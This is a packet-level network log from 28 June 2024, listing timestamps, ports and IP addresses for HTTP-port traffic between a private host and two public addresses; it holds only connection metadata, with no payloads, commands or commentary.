Jun 28, 2024 13:36:08.091080904 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.091089964 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.091099977 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.091104984 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.091115952 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.091146946 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.091170073 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.091305017 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.091315985 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.091330051 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.091341972 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.091351986 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.091358900 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.091361046 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.091372967 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.091382980 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.091392994 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.091393948 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.091422081 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.091439009 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.091438055 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.091449976 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.091490984 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.091537952 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.091548920 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.091557980 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.091567993 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.091578007 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.091587067 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.091590881 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.091595888 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.091605902 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.091615915 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.091615915 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.091625929 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.091646910 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.091675043 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.091850996 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.091861010 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.091876030 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.091885090 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.091895103 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.091901064 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.091906071 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.091916084 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.091921091 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.091927052 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.091937065 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.091945887 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.091948986 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.091955900 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.091967106 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.091969013 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.091976881 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.091986895 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.091998100 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.092021942 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.092046022 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.092228889 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.092243910 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.092252970 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.092262030 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.092271090 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.092281103 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.092287064 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.092289925 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.092299938 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.092308998 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.092334032 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.092341900 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.092341900 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.092344046 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.092355013 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.092367887 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.092369080 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.092377901 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.092389107 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.092398882 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.092400074 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.092408895 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.092418909 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.092428923 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.092439890 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.092438936 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.092449903 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.092459917 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.092469931 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.092475891 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.092490911 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.092514992 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.092514992 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.092539072 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.092911959 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.092922926 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.092943907 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.092953920 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.092963934 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.092968941 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.092973948 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.092983961 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.092987061 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.092993975 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.093003988 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.093010902 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.093013048 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.093024015 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.093031883 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.093034029 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.093044043 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.093053102 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.093053102 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.093063116 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.093072891 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.093086958 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.093087912 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.093099117 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.093106031 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.093110085 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.093121052 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.093125105 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.093131065 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.093153954 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.093192101 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.157217979 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.165637970 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.339167118 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.339184999 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.339308023 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.339553118 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.339612007 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.339668989 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.339678049 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.339703083 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.339720964 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.339752913 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.339797020 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.339829922 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.339840889 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.339843988 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.339873075 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.339917898 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.339940071 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.339950085 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.339961052 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.339972019 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.339982986 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.340010881 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.340056896 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.340058088 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.340070009 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.340080023 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.340090036 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.340102911 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.340130091 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.340157986 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.340202093 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.340213060 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.340224028 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.340234041 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.340244055 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.340250015 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.340275049 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.340306044 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.340401888 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.340411901 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.340420961 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.340430975 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.340440989 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.340451002 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.340454102 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.340461016 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.340471029 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.340477943 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.340486050 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.340497971 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.340507984 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.340514898 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.340539932 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.340569019 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.340738058 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.340748072 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.340756893 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.340770006 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.340780020 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.340786934 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.340790033 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.340800047 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.340807915 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.340811014 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.340825081 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.340847015 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.340850115 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.340861082 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.340867043 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.340871096 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.340882063 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.340889931 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.340890884 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.340900898 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.340910912 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.340920925 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.340929985 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.340934038 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.340939999 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.340950012 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.340960979 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.340971947 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.340972900 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.341011047 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.341011047 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.341705084 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.341716051 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.341725111 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.341734886 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.341743946 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.341753960 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.341758013 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.341766119 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.341775894 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.341779947 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.341785908 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.341795921 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.341800928 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.341805935 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.341816902 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.341824055 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.341825962 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.341836929 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.341860056 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.341887951 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.902662992 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.902734041 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.907645941 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.907661915 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:09.739646912 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:09.739754915 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:09.778753042 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:09.783607006 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:09.959443092 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:09.959460974 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:09.959471941 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:09.959553003 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:09.962229013 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:09.967314005 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:10.141424894 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:10.141489983 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:10.160671949 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:10.165643930 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:10.855175018 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:10.855262041 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:10.887615919 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:10.892532110 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:11.585318089 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:11.585424900 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:11.588373899 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:11.593419075 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:11.593487024 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:11.593599081 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:11.598659992 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.257271051 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.257307053 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.257323980 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.257345915 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.257354975 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.257364035 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.257374048 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.257381916 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.257392883 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.257390022 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.257401943 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.257474899 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.257474899 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.262300968 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.262331009 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.262360096 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.262387037 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.262429953 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.262473106 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.375762939 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.375773907 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.375787973 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.375793934 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.375802040 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.375818014 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.375827074 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.375864983 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.375905037 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.376528025 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.376537085 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.376547098 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.376579046 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.376600981 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.376601934 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.376610994 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.376645088 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.376676083 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.377268076 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.377309084 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.377317905 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.377324104 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.377357006 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.377357006 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.377387047 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.377397060 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.377405882 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.377433062 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.377461910 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.378417969 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.378427982 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.378436089 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.378456116 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.378467083 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.378487110 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.378515959 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.380783081 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.380811930 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.380836964 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.380867958 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.493599892 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.493647099 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.493657112 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.493659019 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.493683100 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.493695021 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.493707895 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.493710995 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.493720055 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.493730068 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.493741035 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.493742943 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.493742943 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.493762970 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.493793011 CEST	49706	80	192.168.2.5	77.91.77.81
